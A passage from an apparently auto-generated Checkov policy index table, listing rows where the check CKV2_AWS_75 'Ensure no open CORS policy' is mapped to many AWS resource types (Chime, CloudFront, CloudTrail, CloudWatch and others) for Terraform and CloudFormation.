aws_chime_voice_connector_logging | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2854 | CKV2_AWS_75 | resource | aws_chime_voice_connector_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2855 | CKV2_AWS_75 | resource | aws_chime_voice_connector_origination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2856 | CKV2_AWS_75 | resource | aws_chime_voice_connector_origination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2857 | CKV2_AWS_75 | resource | aws_chime_voice_connector_streaming | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2858 | CKV2_AWS_75 | resource | aws_chime_voice_connector_streaming | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2859 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2860 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2861 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination_credentials | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2862 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination_credentials | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2863 | CKV2_AWS_75 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2864 | CKV2_AWS_75 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2865 | CKV2_AWS_75 | resource | aws_chimesdkvoice_global_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2866 | CKV2_AWS_75 | resource | aws_chimesdkvoice_global_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2867 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_media_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2868 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_media_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2869 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2870 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2871 | CKV2_AWS_75 | resource | aws_chimesdkvoice_voice_profile_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2872 | CKV2_AWS_75 | resource | aws_chimesdkvoice_voice_profile_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2873 | CKV2_AWS_75 | resource | aws_cleanrooms_collaboration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2874 | CKV2_AWS_75 | resource | aws_cleanrooms_collaboration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2875 | CKV2_AWS_75 | resource | aws_cleanrooms_configured_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2876 | CKV2_AWS_75 | resource | aws_cleanrooms_configured_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2877 | CKV2_AWS_75 | resource | aws_cleanrooms_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2878 | CKV2_AWS_75 | resource | aws_cleanrooms_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2879 | CKV2_AWS_75 | resource | aws_cloud9_environment_ec2 | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2880 | CKV2_AWS_75 | resource | aws_cloud9_environment_ec2 | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2881 | CKV2_AWS_75 | resource | aws_cloud9_environment_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2882 | CKV2_AWS_75 | resource | aws_cloud9_environment_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2883 | CKV2_AWS_75 | resource | aws_cloudcontrolapi_resource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2884 | CKV2_AWS_75 | resource | aws_cloudcontrolapi_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2885 | CKV2_AWS_75 | resource | aws_cloudformation_stack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2886 | CKV2_AWS_75 | resource | aws_cloudformation_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2887 | CKV2_AWS_75 | resource | aws_cloudformation_stack_instances | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2888 | CKV2_AWS_75 | resource | aws_cloudformation_stack_instances | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2889 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2890 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2891 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2892 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2893 | CKV2_AWS_75 | resource | aws_cloudformation_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2894 | CKV2_AWS_75 | resource | aws_cloudformation_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2895 | CKV2_AWS_75 | resource | aws_cloudfront_cache_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2896 | CKV2_AWS_75 | resource | aws_cloudfront_cache_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2897 | CKV2_AWS_75 | resource | aws_cloudfront_continuous_deployment_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2898 | CKV2_AWS_75 | resource | aws_cloudfront_continuous_deployment_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2899 | CKV2_AWS_75 | resource | aws_cloudfront_distribution | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2900 | CKV2_AWS_75 | resource | aws_cloudfront_distribution | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2901 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2902 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2903 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2904 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2905 | CKV2_AWS_75 | resource | aws_cloudfront_function | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2906 | CKV2_AWS_75 | resource | aws_cloudfront_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2907 | CKV2_AWS_75 | resource | aws_cloudfront_key_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2908 | CKV2_AWS_75 | resource | aws_cloudfront_key_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2909 | CKV2_AWS_75 | resource | aws_cloudfront_key_value_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2910 | CKV2_AWS_75 | resource | aws_cloudfront_key_value_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2911 | CKV2_AWS_75 | resource | aws_cloudfront_monitoring_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2912 | CKV2_AWS_75 | resource | aws_cloudfront_monitoring_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2913 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2914 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2915 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_identity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2916 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2917 | CKV2_AWS_75 | resource | aws_cloudfront_origin_request_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2918 | CKV2_AWS_75 | resource | aws_cloudfront_origin_request_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2919 | CKV2_AWS_75 | resource | aws_cloudfront_public_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2920 | CKV2_AWS_75 | resource | aws_cloudfront_public_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2921 | CKV2_AWS_75 | resource | aws_cloudfront_realtime_log_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2922 | CKV2_AWS_75 | resource | aws_cloudfront_realtime_log_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2923 | CKV2_AWS_75 | resource | aws_cloudfront_response_headers_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2924 | CKV2_AWS_75 | resource | aws_cloudfront_response_headers_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2925 | CKV2_AWS_75 | resource | aws_cloudfront_vpc_origin | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2926 | CKV2_AWS_75 | resource | aws_cloudfront_vpc_origin | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2927 | CKV2_AWS_75 | resource | aws_cloudfrontkeyvaluestore_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2928 | CKV2_AWS_75 | resource | aws_cloudfrontkeyvaluestore_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2929 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2930 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2931 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_hsm | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2932 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_hsm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2933 | CKV2_AWS_75 | resource | aws_cloudsearch_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2934 | CKV2_AWS_75 | resource | aws_cloudsearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2935 | CKV2_AWS_75 | resource | aws_cloudsearch_domain_service_access_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2936 | CKV2_AWS_75 | resource | aws_cloudsearch_domain_service_access_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2937 | CKV2_AWS_75 | resource | aws_cloudtrail | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2938 | CKV2_AWS_75 | resource | aws_cloudtrail | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2939 | CKV2_AWS_75 | resource | aws_cloudtrail_event_data_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2940 | CKV2_AWS_75 | resource | aws_cloudtrail_event_data_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2941 | CKV2_AWS_75 | resource | aws_cloudtrail_organization_delegated_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2942 | CKV2_AWS_75 | resource | aws_cloudtrail_organization_delegated_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2943 | CKV2_AWS_75 | resource | aws_cloudwatch_composite_alarm | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2944 | CKV2_AWS_75 | resource | aws_cloudwatch_composite_alarm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2945 | CKV2_AWS_75 | resource | aws_cloudwatch_dashboard | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2946 | CKV2_AWS_75 | resource | aws_cloudwatch_dashboard | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2947 | CKV2_AWS_75 | resource | aws_cloudwatch_event_api_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2948 | CKV2_AWS_75 | resource | aws_cloudwatch_event_api_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2949 | CKV2_AWS_75 | resource | aws_cloudwatch_event_archive | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2950 | CKV2_AWS_75 | resource | aws_cloudwatch_event_archive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2951 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2952 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2953 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2954 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2955 | CKV2_AWS_75 | resource | aws_cloudwatch_event_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2956 | CKV2_AWS_75 | resource | aws_cloudwatch_event_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2957 | CKV2_AWS_75 | resource | aws_cloudwatch_event_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2958 | CKV2_AWS_75 | resource | aws_cloudwatch_event_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2959 | CKV2_AWS_75 | resource | aws_cloudwatch_event_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2960 | CKV2_AWS_75 | resource | aws_cloudwatch_event_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2961 | CKV2_AWS_75 | resource | aws_cloudwatch_event_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2962 | 